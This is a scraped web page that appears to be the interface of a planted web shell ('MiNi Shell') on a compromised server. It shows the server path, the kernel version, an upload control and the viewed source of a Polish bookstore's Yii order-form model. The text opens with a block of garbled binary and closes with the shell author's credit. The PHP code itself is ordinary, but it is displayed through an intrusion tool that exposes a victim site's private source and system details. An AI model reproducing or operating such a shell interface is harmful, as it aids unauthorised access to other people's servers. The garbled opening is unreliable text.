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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/models/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/models/BookstoreOrderForm.php

<?php
namespace frontend\models;

use Yii;
use yii\base\Model;
use common\models\Users;
use common\models\Companies;
use common\models\Countries;
use common\models\Portals;
use common\models\types\Status;
use common\models\types\BookType;

/**
 * Bookstore order form
 */
class BookstoreOrderForm extends Model
{
    public $id_portal;    
    public $id_user;
    public $id_company;
    public $or_company;    
    public $forename;
    public $surname;
    public $email;
    public $phone;
    
    public $shipping_company_name;
    public $shipping_street;
    public $shipping_building_number;
    public $shipping_apartment_number;
    public $shipping_address_cont;
    public $shipping_postcode;
    public $shipping_locality;
    public $shipping_id_country;
    public $or_invoice;
    
    public $invoicing_tax_id;
    public $invoicing_name;
    public $invoicing_street;
    public $invoicing_building_number;
    public $invoicing_apartment_number;
    public $invoicing_postcode;
    public $invoicing_locality;
    public $invoicing_id_country;
    
    public $accept_rules;
    public $captcha;    
    
    protected $itemsByCompanies;
    protected $itemsSubscriptionsByCompanies;
        
    /**
     * @inheritdoc
     */
    public function scenarios()
    {
        $scenarios = parent::scenarios();
        $scenarios['create'] = [
            '!id_portal', '!id_user', 'id_company', 'or_company', 'forename', 'surname', 'shipping_company_name', 'email', 'phone',
            'shipping_street', 'shipping_building_number', 'shipping_apartment_number', 'shipping_address_cont', 
            'shipping_postcode', 'shipping_locality', 'shipping_id_country', 'or_invoice',
            'invoicing_tax_id', 'invoicing_name', 'invoicing_street', 'invoicing_building_number',  
            'invoicing_apartment_number', 'invoicing_postcode', 'invoicing_locality', 'invoicing_id_country',
            'captcha'
        ];
        $scenarios['createWithoutRegistration'] = [
            '!id_portal', '!id_user', 'id_company', 'or_company', 'forename', 'surname', 'shipping_company_name', 'email', 'phone',
            'shipping_street', 'shipping_building_number', 'shipping_apartment_number', 'shipping_address_cont', 
            'shipping_postcode', 'shipping_locality', 'shipping_id_country', 'or_invoice',
            'invoicing_tax_id', 'invoicing_name', 'invoicing_street', 'invoicing_building_number',  
            'invoicing_apartment_number', 'invoicing_postcode', 'invoicing_locality', 'invoicing_id_country',
            'accept_rules', 'captcha'
        ];
        
        return $scenarios;                
    }
    
    /**
     * @inheritdoc
     */
    public function rules()
    {      
        $thisModel = $this;
        $rules = [            
            ['id_user', 'default'],
            ['id_user', 'number', 'integerOnly' => true, 'min' => 1],
            ['id_user', 'exist', 'targetClass' => Users::className(), 'targetAttribute' => 'id_user', 'filter' => ['status' => Status::ACTIVE]],
            
            ['id_company', 'default'],
//            ['id_company', 'required', 'when' => function($model) { return intval($model->or_company) !== 0; }, 'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_company').checked; }"],
            ['id_company', 'number', 'integerOnly' => true, 'min' => 1],
            ['id_company', 'exist', 'targetClass' => Companies::className(), 'targetAttribute' => 'id_company', 'filter' => function($query) use ($thisModel) { $query->andWhere(['id_user' => $thisModel->id_user]); $query->andWhere(['status' => Status::ACTIVE]); }, 'when' => function($model) { return intval($model->or_company) !== 0; }, 'whenClient' => "function (attribute, value) { return document.querySelector('input[name=\"BookstoreOrderForm[or_company]\"]:checked').value == 1; }"],
            
            ['or_company', 'default', 'value' => 0],
            ['or_company', 'number', 'integerOnly' => true, 'min' => 0, 'max' => 1],
             
            ['id_portal', 'required'],
            ['id_portal', 'number', 'integerOnly' => true, 'min' => 1],
            ['id_portal', 'exist', 'targetClass' => Portals::className(), 'targetAttribute' => 'id_portal'],
            
            ['forename', 'required'],
            ['forename', 'string', 'min' => 2, 'max' => 30],
            
            ['surname', 'required'],
            ['surname', 'string', 'min' => 2, 'max' => 40],
            
            ['email', 'required'],
            ['email', 'string', 'min' => 6, 'max' => 60],
            ['email', 'email'],
            
            ['phone', 'required'],
            [
                'phone', 
                'match', 
                'pattern' => '/^[0-9]{9}$/i',
                'when' => function($model) { return $model->shipping_id_country === 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-shipping_id_country').value === 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu. Przykład dla Polski: {example}.', ['example' => '123456789'])
            ],
            [
                'phone', 
                'match', 
                'pattern' => '/^\+[0-9]{9,15}$/i',
                'when' => function($model) { return $model->shipping_id_country !== 'PL'; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-shipping_id_country').value !== 'PL'; }", 
                'message' => \Yii::t('frontend', 'Niepoprawny format numeru telefonu komórkowego. Jeżeli numer dotyczy innego kraju niż Polska, to wybierz poniżej w adresie kraj. Przykład: {example}.', ['example' => '+49123456789'])
            ],
                 
            ['shipping_company_name', 'default'],
            ['shipping_company_name', 'string', 'min' => 3, 'max' => 255],
                        
            ['shipping_id_country', 'required'],
            ['shipping_id_country', 'string', 'min' => 2, 'max' => 2],
            ['shipping_id_country', 'exist', 'targetClass' => Countries::className(), 'targetAttribute' => 'id_country'],
   
            ['shipping_locality', 'required'],
            ['shipping_locality', 'string', 'min' => 3, 'max' => 60],
            
            ['shipping_postcode', 'required'],
            ['shipping_postcode', 'string', 'max' => 10],
            
            ['shipping_street', 'required'],
            ['shipping_street', 'string', 'min' => 3, 'max' => 80],
            
            ['shipping_building_number', 'required'],
            ['shipping_building_number', 'string', 'max' => 15],
            
            ['shipping_apartment_number', 'default'],
            ['shipping_apartment_number', 'string', 'max' => 10],
                        
            ['shipping_address_cont', 'default'],
            ['shipping_address_cont', 'string', 'max' => 100],
                        
            ['or_invoice', 'default', 'value' => 0],
            ['or_invoice', 'number', 'integerOnly' => true, 'min' => 0, 'max' => 1],
            
            [
                'invoicing_name', 
                'required', 
                'when' => function($model) { return intval($model->or_invoice) === 1; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_invoice').checked; }"
            ],
            ['invoicing_name', 'string', 'min' => 3, 'max' => 255],
            
            [
                'invoicing_tax_id', 
                'required', 
                'when' => function($model) { return intval($model->or_invoice) === 1 && intval($model->or_company) === 1; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_invoice').checked && document.querySelector('input[name=\"BookstoreOrderForm[or_company]\"]:checked').value == 1; }"
            ],
            ['invoicing_tax_id', 'string', 'min' => 10, 'max' => 30],

            [
                'invoicing_id_country', 
                'required', 
                'when' => function($model) { return intval($model->or_invoice) === 1; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_invoice').checked; }"
            ],
            ['invoicing_id_country', 'string', 'min' => 2, 'max' => 2],
            ['invoicing_id_country', 'exist', 'targetClass' => Countries::className(), 'targetAttribute' => 'id_country'],
   
            [
                'invoicing_locality', 
                'required', 
                'when' => function($model) { return intval($model->or_invoice) === 1; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_invoice').checked; }"
            ],
            ['invoicing_locality', 'string', 'min' => 3, 'max' => 60],
            
            [
                'invoicing_postcode', 
                'required', 
                'when' => function($model) { return intval($model->or_invoice) === 1; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_invoice').checked; }"
            ],
            ['invoicing_postcode', 'string', 'max' => 10],
            
            [
                'invoicing_street', 
                'required', 
                'when' => function($model) { return intval($model->or_invoice) === 1; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_invoice').checked; }"
            ],
            ['invoicing_street', 'string', 'min' => 3, 'max' => 80],
            
            [
                'invoicing_building_number', 
                'required', 
                'when' => function($model) { return intval($model->or_invoice) === 1; }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-or_invoice').checked; }"
            ],
            ['invoicing_building_number', 'string', 'max' => 15],
            
            ['invoicing_apartment_number', 'default'],
            ['invoicing_apartment_number', 'string', 'max' => 10],
                        
            ['accept_rules', 'required', 'message' => \Yii::t('frontend', 'Aby dokończyć rejestrację pole musi być zaznaczone.'), 'on' => 'createWithoutRegistration'],
                        
            ['captcha', 'captcha', 'captchaAction' => 'ksiegarniakoszyk/captcha', 'on' => 'createWithoutRegistration'],
        ];
                
        if(empty($thisModel->id_user)) {
            $rules[] = ['captcha', 'required'];
        }
        
        return $rules;
    }
    
    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {        
        return [
            'id_portal' => 'Portal',
            'id_user' => 'ID użytkownika',
            'id_company' => 'ID firmy',
            'or_company' => 'Zamawiam jako',
            'forename' => 'Imię', 
            'surname' => 'Nazwisko', 
            'shipping_company_name' => 'Nazwa firmy',
            'email' => 'E-mail',
            'phone' => 'Telefon',
            'shipping_street' => 'Ulica',
            'shipping_building_number' => 'Nr budynku',
            'shipping_apartment_number' => 'Nr lokalu',
            'shipping_address_cont' => 'Adres - dodatkowe informacje', 
            'shipping_postcode' => 'Kod pocztowy', 
            'shipping_locality' => 'Miejscowość',
            'shipping_id_country' => 'Kraj',
            'or_invoice' => 'Faktura',
            'invoicing_tax_id' => 'NIP',
            'invoicing_name' => 'Nazwa firmy / imię i nazwisko', 
            'invoicing_street' => 'Ulica',
            'invoicing_building_number' => 'Nr budynku',
            'invoicing_apartment_number' => 'Nr lokalu',
            'invoicing_postcode' => 'Kod pocztowy',
            'invoicing_locality' => 'Miejscowość',
            'invoicing_id_country' => 'Kraj',
            'accept_rules' => 'Zapoznałam/em się z regulaminem.',
            'captcha' => 'Przepisz kod z obrazka',
        ];
    }
    
    public function beforeValidate() {
        if(parent::beforeValidate()) {
            if(!$this->or_company) {
                $this->id_company = null;
                $this->shipping_company_name = null;
            }
            
            return true;
        } else {
            return false;
        }
    }
    
    public function setItems($items, $itemsSubscription)
    {
        $this->itemsByCompanies = $items;
        $this->itemsSubscriptionsByCompanies = $itemsSubscription;
    }
    
    public function getItems()
    {
        return [$this->itemsByCompanies, $this->itemsSubscriptionsByCompanies];
    }
    
    public function save()
    {
        $modelsOrders = [];
        
        $idsCompanies = array_unique(array_merge(array_keys($this->itemsByCompanies), array_keys($this->itemsSubscriptionsByCompanies)));
        
        $modelsCompaniesInvoicingData = \common\models\CompaniesInvoicingData::find()
                ->where([
                    'id_company' => $idsCompanies,
                    'or_main' => 1
                ])
                ->indexBy('id_company')
                ->all();
        
        $batchUuid = count($idsCompanies) > 1 ? \common\components\UuidGenerator::generateV4() : null; 
        
        $modelPortal = Portals::findOne($this->id_portal);
        $bookstoreCommission = $modelPortal->getSettingsKey('bookstore_commission');
        
        foreach($modelsCompaniesInvoicingData as $modelCompanyInvoicingData) {      
            $idCompany = $modelCompanyInvoicingData->id_company;
            
            list($modelsOrdersItems, $commissionAmount) = $this->prepareModelsOrdersItemsAndCommissionAmount(
                !empty($this->itemsByCompanies[$idCompany]) ? $this->itemsByCompanies[$idCompany] : [], 
                !empty($this->itemsSubscriptionsByCompanies[$idCompany]) ? $this->itemsSubscriptionsByCompanies[$idCompany] : [], 
                $bookstoreCommission
            );
            
            $modelOrder = new \common\models\BookstoreOrders(['scenario' => 'create']);
            $modelOrder->id_portal = $this->id_portal;
            $modelOrder->id_user = $this->id_user;
            $modelOrder->id_company = $this->id_company;
            $modelOrder->batch_uuid = $batchUuid;
            $modelOrder->forename = $this->forename;
            $modelOrder->surname = $this->surname;
            $modelOrder->email = $this->email;
            $modelOrder->phone = $this->phone;
            
            $modelOrder->shipping_company_name = !empty($this->shipping_company_name) ? $this->shipping_company_name : null;
            $modelOrder->shipping_street = $this->shipping_street;
            $modelOrder->shipping_building_number = $this->shipping_building_number;
            $modelOrder->shipping_apartment_number = !empty($this->shipping_apartment_number) ? $this->shipping_apartment_number : null;
            $modelOrder->shipping_address_cont = !empty($this->shipping_address_cont) ? $this->shipping_address_cont : null;
            $modelOrder->shipping_postcode = $this->shipping_postcode;
            $modelOrder->shipping_locality = $this->shipping_locality;
            $modelOrder->shipping_id_country = $this->shipping_id_country;
            
            $modelOrder->or_invoice = $this->or_invoice ? 1 : 0;
            
            if($modelOrder->or_invoice === 1) {
                $modelOrder->invoicing_tax_id = !empty($this->invoicing_tax_id) ? $this->invoicing_tax_id : null;
                $modelOrder->invoicing_name = $this->invoicing_name;
                $modelOrder->invoicing_street = $this->invoicing_street;
                $modelOrder->invoicing_building_number = $this->invoicing_building_number;
                $modelOrder->invoicing_apartment_number = !empty($this->invoicing_apartment_number) ? $this->invoicing_apartment_number : null;
                $modelOrder->invoicing_postcode = $this->invoicing_postcode;
                $modelOrder->invoicing_locality = $this->invoicing_locality;
                $modelOrder->invoicing_id_country = $this->invoicing_id_country;
            } else {
                $modelOrder->invoicing_tax_id = null;
                $modelOrder->invoicing_name = $this->forename.' '.$this->surname;
                $modelOrder->invoicing_street = $this->shipping_street;
                $modelOrder->invoicing_building_number = $this->shipping_building_number;
                $modelOrder->invoicing_apartment_number = !empty($this->shipping_apartment_number) ? $this->shipping_apartment_number : null;
                $modelOrder->invoicing_postcode = $this->shipping_postcode;
                $modelOrder->invoicing_locality = $this->shipping_locality;
                $modelOrder->invoicing_id_country = $this->shipping_id_country;
            }
            
            $modelOrder->dealer_id_company = $modelCompanyInvoicingData->id_company;
            $modelOrder->dealer_name = $modelCompanyInvoicingData->name;
            $modelOrder->dealer_tax_id = $modelCompanyInvoicingData->tax_id;
            $modelOrder->dealer_street = $modelCompanyInvoicingData->street;
            $modelOrder->dealer_building_number = $modelCompanyInvoicingData->building_number;
            $modelOrder->dealer_apartment_number = !empty($modelCompanyInvoicingData->apartment_number) ? $modelCompanyInvoicingData->apartment_number : null;
            $modelOrder->dealer_postcode = $modelCompanyInvoicingData->postcode;
            $modelOrder->dealer_locality = $modelCompanyInvoicingData->locality;
            $modelOrder->dealer_id_country = $modelCompanyInvoicingData->id_country;
            $modelOrder->commission_table = $bookstoreCommission;
            $modelOrder->commission_amount = $commissionAmount;
            
            $flag = $modelOrder->validate() && $modelOrder->save(false);
            if(!$flag) {
                return false;
            }
            
            if(!empty($modelsOrdersItems)) {
                foreach($modelsOrdersItems as $modelOrderItem) {
                    $modelOrderItem->id_order = $modelOrder->id_order;
                    $flag = $modelOrderItem->validate() && $modelOrderItem->save(false);
                    if(!$flag) {
                        return false;
                    }
                }
            }            
            
            $modelsOrders[$idCompany] = $modelOrder;
        }
        
        return $modelsOrders;
    }
    
    protected function prepareModelsOrdersItemsAndCommissionAmount($items, $itemsSubscriptions, $commissionTable)
    {
        $commissionTableFieldsMap = [ //{typ}_{0|1 - czy prenumerata}_{0|1 - czy wersja papierowa}
            BookType::BOOK.'_0_1' => 'book_paper', 
            BookType::MAGAZINE.'_0_1' => 'magazine_paper', 
            BookType::GUIDE.'_0_1' => 'guide_paper', 
            BookType::BOOK.'_0_0' => 'book_electronic', 
            BookType::MAGAZINE.'_0_0' => 'magazine_electronic', 
            BookType::GUIDE.'_0_0' => 'guide_electronic', 
            BookType::BOOK.'_1_1' => 'subscription_books_paper', 
            BookType::MAGAZINE.'_1_1' => 'subscription_magazines_paper', 
            BookType::GUIDE.'_1_1' => 'subscription_guides_paper', 
            BookType::BOOK.'_1_0' => 'subscription_books_electronic', 
            BookType::MAGAZINE.'_1_0' => 'subscription_magazines_electronic', 
            BookType::GUIDE.'_1_0' => 'subscription_guides_electronic'
        ];

        $commissionAmount = 0.00;
        
        $modelsOrdersItems = [];
        
        if(!empty($items)) {
            $modelsBooks = \common\models\Books::find()
                    ->with(['publishingHouse'])
                    ->where(['id_book' => array_column($items, 'id_book')])
                    ->indexBy('id_book')
                    ->all();
            foreach($items as $item) {
                $modelBook = $modelsBooks[(int)$item['id_book']];

                $modelOrderItem = new \common\models\BookstoreOrdersItems(['scenario' => 'create']);
                $modelOrderItem->id_book = $item['id_book'];
                $modelOrderItem->id_subscription = null;
                $modelOrderItem->title = $modelBook->title;
                if(intval($item['or_electronic_version']) === 1) {
                    $modelOrderItem->or_paper_version = 0;
                    $modelOrderItem->base_price = (float)$modelBook->price_electronic_version;
                } else {
                    $modelOrderItem->or_paper_version = 1;
                    $modelOrderItem->base_price = (float)$modelBook->price_paper_version;
                }                    
                $modelOrderItem->price = (float)$item['price'];
                $modelOrderItem->quantity = (int)$item['pcs'];
                $modelOrderItem->book_type = $modelBook->book_type;
                $modelOrderItem->publishing_house = $modelBook->publishingHouse->name;
                $modelOrderItem->or_subscription = 0;                    
                $modelOrderItem->number_of_months = null;
                $modelOrderItem->number_of_items = null;

                $modelsOrdersItems[] = $modelOrderItem;
            }
        }

        if(!empty($itemsSubscriptions)) {
            $modelsBooksSubscriptions = \common\models\BooksSubscriptions::find()
                    ->with(['books', 'books.publishingHouse'])
                    ->where(['id_subscription' => array_column($itemsSubscriptions, 'id_subscription')])
                    ->indexBy('id_subscription')
                    ->all();
            foreach($itemsSubscriptions as $item) {
                $modelBookSubscription = $modelsBooksSubscriptions[(int)$item['id_subscription']];

                $modelOrderItem = new \common\models\BookstoreOrdersItems(['scenario' => 'create']);
                $modelOrderItem->id_book = null;
                $modelOrderItem->id_subscription = $item['id_subscription'];
                $modelOrderItem->title = $modelBookSubscription->title;
                if(intval($item['or_electronic_version']) === 1) {
                    $modelOrderItem->or_paper_version = 0;
                    $modelOrderItem->base_price = (float)$modelBookSubscription->price_electronic_version;
                } else {
                    $modelOrderItem->or_paper_version = 1;
                    $modelOrderItem->base_price = (float)$modelBookSubscription->price_paper_version;
                }                    
                $modelOrderItem->price = (float)$item['price'];
                $modelOrderItem->quantity = (int)$item['pcs'];
                $modelOrderItem->book_type = $modelBookSubscription->books[0]->book_type;
                $modelOrderItem->publishing_house = $modelBookSubscription->books[0]->publishingHouse->name;
                $modelOrderItem->or_subscription = 1;                    
                $modelOrderItem->number_of_months = $modelBookSubscription->number_of_months;
                $modelOrderItem->number_of_items = $modelBookSubscription->number_of_items;

                $modelsOrdersItems[] = $modelOrderItem;
            }
        }
        
        if(!empty($modelsOrdersItems)) {
            foreach($modelsOrdersItems as $modelOrderItem) {
                $fieldKey = $modelOrderItem->book_type.'_'.intval($modelOrderItem->or_subscription).'_'.intval($modelOrderItem->or_paper_version);
                $commissionFactor = $commissionTable[$commissionTableFieldsMap[$fieldKey]];
                $commissionAmount += $modelOrderItem->price * $modelOrderItem->quantity * $commissionFactor;
            }
        }
        
        return [$modelsOrdersItems, round($commissionAmount, 2)];
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com